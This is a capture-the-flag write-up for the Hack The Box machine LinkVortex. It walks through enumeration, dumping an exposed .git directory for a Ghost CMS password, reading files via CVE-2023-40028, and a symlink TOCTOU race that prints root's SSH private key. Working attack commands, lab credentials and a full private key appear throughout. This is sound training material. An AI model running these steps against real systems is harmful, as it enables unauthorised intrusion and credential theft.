# LinkVortex

## Synopsis

**LinkVortex** is a linux easy machine created by [**0xyassine**](https://app.hackthebox.com/users/143843)**.** The **Ghost CMS** is used in **linkvortex.htb** domain. The dev subdomain is found during fuzzing and ***.git*** directory is present. The content of ***.git*** directory is dumped and password for **Ghost CMS** login is retrieved. The version of **Ghost CMS** used is **5.58.0** which is vulnerable to **CVE-2023-40028 arbitrary file read** vulnerability, with which the foothold is gained. The user has a privilege to run ***clean\_symbolic.sh*** script file as **`sudo`** which creates the **TOCTOU** vulnerability and exploiting it gives us the ***id\_rsa*** of **root**.&#x20;

| OS    | Difficulty | Points | Release Date | Retired Date |
| ----- | ---------- | ------ | ------------ | ------------ |
| Linux | Easy       | 20     | 07-12-2024   | 12-04-2025   |

***

## Enumeration

### Nmap

Starting the **`nmap`** scan and found **`ssh`** and **http** services running.

```bash
nmap -Pn -sC -sV --min-rate=1000 10.10.11.47
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-20 21:03 EDT
Nmap scan report for 10.10.11.47
Host is up (8.0s latency).
Not shown: 749 filtered tcp ports (no-response), 249 closed tcp ports (reset)
PORT   STATE SERVICE    VERSION
22/tcp open  tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open  tcpwrapped
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.18 seconds
```

Add **linkvortex.htb** in ***/etc/hosts*** file.

### Web - linkvortex.htb

The **linkvortex** is the **blogging** site where computer parts information is given in details.

<figure><img src="https://2174268648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fub7j4GBqzIfnf6FfkeT7%2Fuploads%2FMvaDFjZvOGuKmwoEB5aK%2Flinkvortex-web.png?alt=media&#x26;token=8c7a335d-2778-4104-a7cd-5a9988606fc6" alt=""><figcaption></figcaption></figure>

The **footer** reveals that the site is using **Ghost CMS** and going to ***ghost*** directory gives us the **ghost** login page.

<figure><img src="https://2174268648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fub7j4GBqzIfnf6FfkeT7%2Fuploads%2FyPD9wLpMOEN78jI9JLVo%2Flinkvortex_ghost_login.png?alt=media&#x26;token=e3982e63-a87b-46d2-8d72-21da38102e7e" alt=""><figcaption></figcaption></figure>

#### Fuzzing

**Subdomain fuzzing** found the ***dev.linkvortex.htb*** subdomain.

```bash
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://linkvortex.htb -H "Host: FUZZ.linkvortex.htb" -fs 230

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://linkvortex.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.linkvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 230
________________________________________________

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 1202ms]
:: Progress: [4989/4989] :: Job [1/1] :: 63 req/sec :: Duration: [0:02:04] :: Errors: 40 ::
```

Add **dev.linkvortex.htb** in ***/etc/hosts*** file.

### Web - dev.linkvortex.htb

The **dev** subdomain gives us launching soon and under construction message.

<figure><img src="https://2174268648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fub7j4GBqzIfnf6FfkeT7%2Fuploads%2FDTN0w5igUjTTx1jaOQTV%2Flinkvortex-dev-subdomain.png?alt=media&#x26;token=c396ad4b-f115-4ed2-a023-97071413e888" alt=""><figcaption></figcaption></figure>

#### Fuzzing

**Directory fuzzing** found the ***.git*** directory.

```bash
dirsearch -u http://dev.linkvortex.htb
                                                                                                                                                            21:24:34 [12/201]
  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                                             
 (_||| _) (/_(_|| (_| )                                                                                                                                                      
                                                                                                                                                                             
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460                                                                                 
                                                                                                                                                                             
Output File: /home/dexter/HTB/Machines/LinkVortex/reports/http_dev.linkvortex.htb/_25-04-20_21-23-50.txt                                                                     
                                                                                                                                                                             
Target: http://dev.linkvortex.htb/                                                                                                                                           
                                                                                                                                                                             
[21:23:50] Starting:                                                                                                                                                         
[21:24:16] 301 -  239B  - /.git  ->  http://dev.linkvortex.htb/.git/                                                                                                         
[21:24:16] 200 -  557B  - /.git/                                                                                                                                             
[21:24:16] 200 -  201B  - /.git/config
[21:24:16] 200 -   73B  - /.git/description 
[21:24:16] 200 -   41B  - /.git/HEAD
[21:24:16] 200 -  620B  - /.git/hooks/      
[21:24:16] 200 -  402B  - /.git/info/       
[21:24:17] 200 -  240B  - /.git/info/exclude
[21:24:17] 200 -  175B  - /.git/logs/HEAD   
[21:24:17] 200 -  401B  - /.git/logs/
[21:24:17] 200 -  393B  - /.git/refs/       
[21:24:17] 200 -  418B  - /.git/objects/
[21:24:17] 200 -  147B  - /.git/packed-refs 
[21:24:18] 301 -  249B  - /.git/refs/tags  ->  http://dev.linkvortex.htb/.git/refs/tags/
[21:24:27] 403 -  199B  - /.ht_wsr.txt      
[21:24:27] 403 -  199B  - /.htaccess.bak1   
[21:24:30] 403 -  199B  - /.htaccess.orig   
[21:24:30] 403 -  199B  - /.htaccess.sample 
[21:24:32] 403 -  199B  - /.htaccess.save
[21:24:32] 403 -  199B  - /.htaccess_extra  
[21:24:32] 403 -  199B  - /.htaccess_sc     
[21:24:32] 403 -  199B  - /.htaccess_orig
[21:24:32] 403 -  199B  - /.htaccessBAK
[21:24:32] 403 -  199B  - /.htaccessOLD
[21:24:32] 403 -  199B  - /.htaccessOLD2
[21:24:32] 403 -  199B  - /.htm             
[21:24:32] 403 -  199B  - /.html
[21:24:34] 403 -  199B  - /.htpasswd_test   
[21:24:35] 403 -  199B  - /.htpasswds
[21:24:35] 403 -  199B  - /.httr-oauth
[21:24:42] 200 -  691KB - /.git/index
[21:27:53] 403 -  199B  - /cgi-bin/         
[21:31:05] 403 -  199B  - /server-status    
[21:31:05] 403 -  199B  - /server-status/   
                                            
Task Completed
```

Dumping the content of ***.git*** using **`git-dumper`**.

```bash
git-dumper http://dev.linkvortex.htb/ linkvortex-git -t 120                                                                                                              
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]                                                                                                                        
[-] Testing http://dev.linkvortex.htb/.git/ [200]                                                                                                                            
[-] Fetching .git recursively                                                                                                                                                
[-] Fetching http://dev.linkvortex.htb/.git/ [200]                                                                                                                           
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]                                                                                                                      
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404                                                                                                      
[-] Fetching http://dev.linkvortex.htb/.git/packed-refs [200]                                                                                                                
[-] Fetching http://dev.linkvortex.htb/.git/config [200]                                                                                                                     
[-] Fetching http://dev.linkvortex.htb/.git/description [200]                                                                                                                
[-] Fetching http://dev.linkvortex.htb/.git/hooks/ [200]                                                                                                                     
[-] Fetching http://dev.linkvortex.htb/.git/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/shallow [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/index [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/exclude [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/ [200]   
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/864e0261278525197724b394ed4292414d9fec [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.idx [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/54b0ed7f9c9aedf3180ee1fd94e7e43b29f000 [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.pack [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/v5.57.3 [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index                                                                                                                        
```

### Git

```git
git status                                                 
Not currently on any branch.
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        new file:   Dockerfile.ghost
        modified:   ghost/core/test/regression/api/admin/authentication.test.js

```

The ***ghost/core/test/regression/api/admin/authentication.test.js*** has been changed and not committed yet.

```git
git restore --staged . && git diff
diff --git a/ghost/core/test/regression/api/admin/authentication.test.js b/ghost/core/test/regression/api/admin/authentication.test.js
index 2735588..e654b0e 100644
--- a/ghost/core/test/regression/api/admin/authentication.test.js
+++ b/ghost/core/test/regression/api/admin/authentication.test.js
@@ -53,7 +53,7 @@ describe('Authentication API', function () {
 
         it('complete setup', async function () {
             const email = 'test@example.com';
-            const password = 'thisissupersafe';
+            const password = 'OctopiFociPilfer45';
 
             const requestMock = nock('https://api.github.com')
                 .get('/repos/tryghost/dawn/zipball')
```

Only the password has been changed. The **<admin@linkvortex.htb>** email and the above **password** gives us access to the ghost **dashboard**.&#x20;

<figure><img src="https://2174268648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fub7j4GBqzIfnf6FfkeT7%2Fuploads%2F7OqAGiKZ0EWgDUQFVCtY%2Flinkvortex_ghost_dashboard.png?alt=media&#x26;token=9d53dfb8-2071-4e52-b199-eb0957d29c48" alt=""><figcaption></figcaption></figure>

***

## Foothold

### Shell - bob \[ CVE-2023 -40028 exploit ]

Going to **settings** and clicking on <mark style="background-color:blue;">**About Ghost**</mark> button shows the **details** and **versions** of ghost.

<figure><img src="https://2174268648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fub7j4GBqzIfnf6FfkeT7%2Fuploads%2FC7nM6XmtjkETwDC5EO5i%2Fghost_version.png?alt=media&#x26;token=cd02612a-2a24-445e-a19f-ddf571062109" alt=""><figcaption></figcaption></figure>

**Ghost** version **< 5.59.1** is vulnerable to **CVE-2023-40028 arbitrary file read** vulnerability. The **PoC** with bash script is created in this github [**repository**](https://github.com/0xyassine/CVE-2023-40028).

#### CVE-2023-40028

Affected versions of this package are vulnerable to **Arbitrary File Read** which allows authenticated users to upload files that are **symlinks**. This can be exploited to perform an arbitrary file read of any file on the host operating system. More details can be found [**here**](https://security.snyk.io/vuln/SNYK-JS-GHOST-5843513).

#### Exploit

{% stepper %}
{% step %}

#### Git clone the repository

```bash
git clone https://github.com/0xyassine/CVE-2023-40028.git                                                                                                                
Cloning into 'CVE-2023-40028'...                                                                                                                                             
remote: Enumerating objects: 7, done.                                                                                                                                        
remote: Counting objects: 100% (7/7), done.                                                                                                                                  
remote: Compressing objects: 100% (7/7), done.                                                                                                                               
remote: Total 7 (delta 1), reused 4 (delta 0), pack-reused 0 (from 0)                                                                                                        
Receiving objects: 100% (7/7), done.                                                                                                                                         
Resolving deltas: 100% (1/1), done.
```

{% endstep %}

{% step %}

#### Executing script

Change the ***GHOST\_URL*** variable to **<http://linkvortex.htb>** and execute the script.

```bash
./CVE-2023-40028.sh -u 'admin@linkvortex.htb' -p 'OctopiFociPilfer45'                                                                                                    
WELCOME TO THE CVE-2023-40028 SHELL                                                                                                                                          
file>
```

```bash
file> /etc/passwd                                                                                                                                                            
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
file> 
```

{% endstep %}

{% step %}

#### Getting bob credentials

Fetching the ghost **config file** and found the password for bob.

<pre class="language-json"><code class="lang-json">file> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content" 
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "b<a data-footnote-ref href="#user-content-fn-1">ob@linkvortex.htb</a>",
        "pass": "<a data-footnote-ref href="#user-content-fn-2">fibber-talented-worth</a>"
        }
      }
    }
}
file> 
</code></pre>

{% endstep %}

{% step %}

#### SSH login

```bash
ssh bob@10.10.11.47   
The authenticity of host '10.10.11.47 (10.10.11.47)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.47' (ED25519) to the list of known hosts.
bob@10.10.11.47's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Apr 21 08:29:20 2025 from 10.10.14.46
bob@linkvortex:~$ 
```

{% endstep %}
{% endstepper %}

{% hint style="info" %}
The ***user.txt*** file contains the user flag :clap:
{% endhint %}

***

## Privilege Escalation

### Pillaging - bob \[ user ]

The **`sudo -l`** command reveals that the user **bob** has a **`sudo`** privilege to run the ***`/usr/bin/bash /opt/ghost/clean_symlink.sh *.png`*** command.

```bash
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
bob@linkvortex:~$ 
```

We don't have write **permission** over ***clean\_symlink.sh*** file.

```bash
bob@linkvortex:~$ ls -la /opt/ghost/clean_symlink.sh
-rwxr--r-- 1 root root 745 Nov  1 08:46 /opt/ghost/clean_symlink.sh
bob@linkvortex:~$ 
```

#### File - *clean\_symlink.sh*

{% code title="clean\_symlink.sh" %}

```bash
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi
```

{% endcode %}

* The script takes the .png file as a argument and checks whether it is symbolic link or not.&#x20;
* It also inspects the link target whether it points to /etc or /root directories.&#x20;
* If it points to those ***directories*** it unlink the file otherwise it moves to a quarantine folder ***/var/quarantined*** and if the **$CHECK\_CONTENT** variable is set to **TRUE**, it prints the contents of the linked file.

### Shell - root \[ TOCTOU ]

#### Methodology

The **time-of-check-time-of-use** vulnerability occurs after the **symbolic** link is created. We can quickly **swap** the link target to other sensitive files and directories like ***/etc*** and ***/root***. If the **$CHECK\_CONTENT** variable is set to **TRUE**, we can also print the content of the files.

#### Exploit

{% stepper %}
{% step %}

#### Forcing symbolic link

Running **`while`** loop to force the **symbolic** link if the file already exists.

```bash
bob@linkvortex:~$ while true; do ln -sf /root/.ssh/id_rsa /var/quarantined/exp.png; done
```

{% endstep %}

{% step %}

#### Getting *id\_rsa*

Creating another **symbolic** link in another folder with the **same** png file name and executing the ***clean\_symlink.sh*** moves the file into quarantined folder and **`SSH`** private key is printed.

```bash
bob@linkvortex:~$ export CHECK_CONTENT=true
bob@linkvortex:~$ ln -s /exp /tmp/exp.png                                                                                                                                    
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/exp.png                                                                                                
Link found [ /tmp/exp.png ] , moving it to quarantine                                                                                                                        
Content:                                                                                                                                                                     
-----BEGIN OPENSSH PRIVATE KEY-----                                                                                                                                          
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn                                                                                                       
NhAAAAAwEAAQAAAYEAmpHVhV11MW7eGt9WeJ23rVuqlWnMpF+FclWYwp4SACcAilZdOF8T                                                                                                       
q2egYfeMmgI9IoM0DdyDKS4vG+lIoWoJEfZf+cVwaZIzTZwKm7ECbF2Oy+u2SD+X7lG9A6                                                                                                       
V1xkmWhQWEvCiI22UjIoFkI0oOfDrm6ZQTyZF99AqBVcwGCjEA67eEKt/5oejN5YgL7Ipu                                                                                                       
6sKpMThUctYpWnzAc4yBN/mavhY7v5+TEV0FzPYZJ2spoeB3OGBcVNzSL41ctOiqGVZ7yX                                                                                                       
TQ6pQUZxR4zqueIZ7yHVsw5j0eeqlF8OvHT81wbS5ozJBgtjxySWrRkkKAcY11tkTln6NK                                                                                                       
CssRzP1r9kbmgHswClErHLL/CaBb/04g65A0xESAt5H1wuSXgmipZT8Mq54lZ4ZNMgPi53                                                                                                       
jzZbaHGHACGxLgrBK5u4mF3vLfSG206ilAgU1sUETdkVz8wYuQb2S4Ct0AT14obmje7oqS                                                                                                       
0cBqVEY8/m6olYaf/U8dwE/w9beosH6T7arEUwnhAAAFiDyG/Tk8hv05AAAAB3NzaC1yc2                                                                                                       
EAAAGBAJqR1YVddTFu3hrfVnidt61bqpVpzKRfhXJVmMKeEgAnAIpWXThfE6tnoGH3jJoC                                                                                                       
PSKDNA3cgykuLxvpSKFqCRH2X/nFcGmSM02cCpuxAmxdjsvrtkg/l+5RvQOldcZJloUFhL                                                                                                       
woiNtlIyKBZCNKDnw65umUE8mRffQKgVXMBgoxAOu3hCrf+aHozeWIC+yKburCqTE4VHLW                                                                                                       
KVp8wHOMgTf5mr4WO7+fkxFdBcz2GSdrKaHgdzhgXFTc0i+NXLToqhlWe8l00OqUFGcUeM                                                                                                       
6rniGe8h1bMOY9HnqpRfDrx0/NcG0uaMyQYLY8cklq0ZJCgHGNdbZE5Z+jSgrLEcz9a/ZG                                                                                                       
5oB7MApRKxyy/wmgW/9OIOuQNMREgLeR9cLkl4JoqWU/DKueJWeGTTID4ud482W2hxhwAh                                                                                                       
sS4KwSubuJhd7y30httOopQIFNbFBE3ZFc/MGLkG9kuArdAE9eKG5o3u6KktHAalRGPP5u                                                                                                       
qJWGn/1PHcBP8PW3qLB+k+2qxFMJ4QAAAAMBAAEAAAGABtJHSkyy0pTqO+Td19JcDAxG1b
O22o01ojNZW8Nml3ehLDm+APIfN9oJp7EpVRWitY51QmRYLH3TieeMc0Uu88o795WpTZts
ZLEtfav856PkXKcBIySdU6DrVskbTr4qJKI29qfSTF5lA82SigUnaP+fd7D3g5aGaLn69b
qcjKAXgo+Vh1/dkDHqPkY4An8kgHtJRLkP7wZ5CjuFscPCYyJCnD92cRE9iA9jJWW5+/Wc
f36cvFHyWTNqmjsim4BGCeti9sUEY0Vh9M+wrWHvRhe7nlN5OYXysvJVRK4if0kwH1c6AB
VRdoXs4Iz6xMzJwqSWze+NchBlkUigBZdfcQMkIOxzj4N+mWEHru5GKYRDwL/sSxQy0tJ4
MXXgHw/58xyOE82E8n/SctmyVnHOdxAWldJeycATNJLnd0h3LnNM24vR4GvQVQ4b8EAJjj
rF3BlPov1MoK2/X3qdlwiKxFKYB4tFtugqcuXz54bkKLtLAMf9CszzVBxQqDvqLU9NAAAA
wG5DcRVnEPzKTCXAA6lNcQbIqBNyGlT0Wx0eaZ/i6oariiIm3630t2+dzohFCwh2eXS8nZ
VACuS94oITmJfcOnzXnWXiO+cuokbyb2Wmp1VcYKaBJd6S7pM1YhvQGo1JVKWe7d4g88MF
Mbf5tJRjIBdWS19frqYZDhoYUljq5ZhRaF5F/sa6cDmmMDwPMMxN7cfhRLbJ3xEIL7Kxm+
TWYfUfzJ/WhkOGkXa3q46Fhn7Z1q/qMlC7nBlJM9Iz24HAxAAAAMEAw8yotRf9ZT7intLC
+20m3kb27t8TQT5a/B7UW7UlcT61HdmGO7nKGJuydhobj7gbOvBJ6u6PlJyjxRt/bT601G
QMYCJ4zSjvxSyFaG1a0KolKuxa/9+OKNSvulSyIY/N5//uxZcOrI5hV20IiH580MqL+oU6
lM0jKFMrPoCN830kW4XimLNuRP2nar+BXKuTq9MlfwnmSe/grD9V3Qmg3qh7rieWj9uIad
1G+1d3wPKKT0ztZTPauIZyWzWpOwKVAAAAwQDKF/xbVD+t+vVEUOQiAphz6g1dnArKqf5M
SPhA2PhxB3iAqyHedSHQxp6MAlO8hbLpRHbUFyu+9qlPVrj36DmLHr2H9yHa7PZ34yRfoy
+UylRlepPz7Rw+vhGeQKuQJfkFwR/yaS7Cgy2UyM025EEtEeU3z5irLA2xlocPFijw4gUc
xmo6eXMvU90HVbakUoRspYWISr51uVEvIDuNcZUJlseINXimZkrkD40QTMrYJc9slj9wkA
ICLgLxRR4sAx0AAAAPcm9vdEBsaW5rdm9ydGV4AQIDBA==
-----END OPENSSH PRIVATE KEY-----
bob@linkvortex:~$ 
```

{% endstep %}

{% step %}

#### Getting shell

Copy the **private key** and save into the ***file***. Change the permission and **`ssh`** as a **root.**

```bash
chmod 600 id_rsa
```

```basic
ssh -i id_rsa root@10.10.11.47
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Dec  2 11:20:43 2024 from 10.10.14.61
root@linkvortex:~# 
```

If **`libcrypto`** error occurs remove the unwanted space from the ***id\_rsa*** file.
{% endstep %}
{% endstepper %}

{% hint style="info" %}
The ***root.txt*** file contains the root flag :tada:
{% endhint %}

***

## Proof of Concept

The below video provides the **PoC** of **LinkVortex** machine.

{% embed url="<https://odysee.com/@runasdexter:a/linkvortex:6>" %}

[^1]: bob's email

[^2]: bob's password
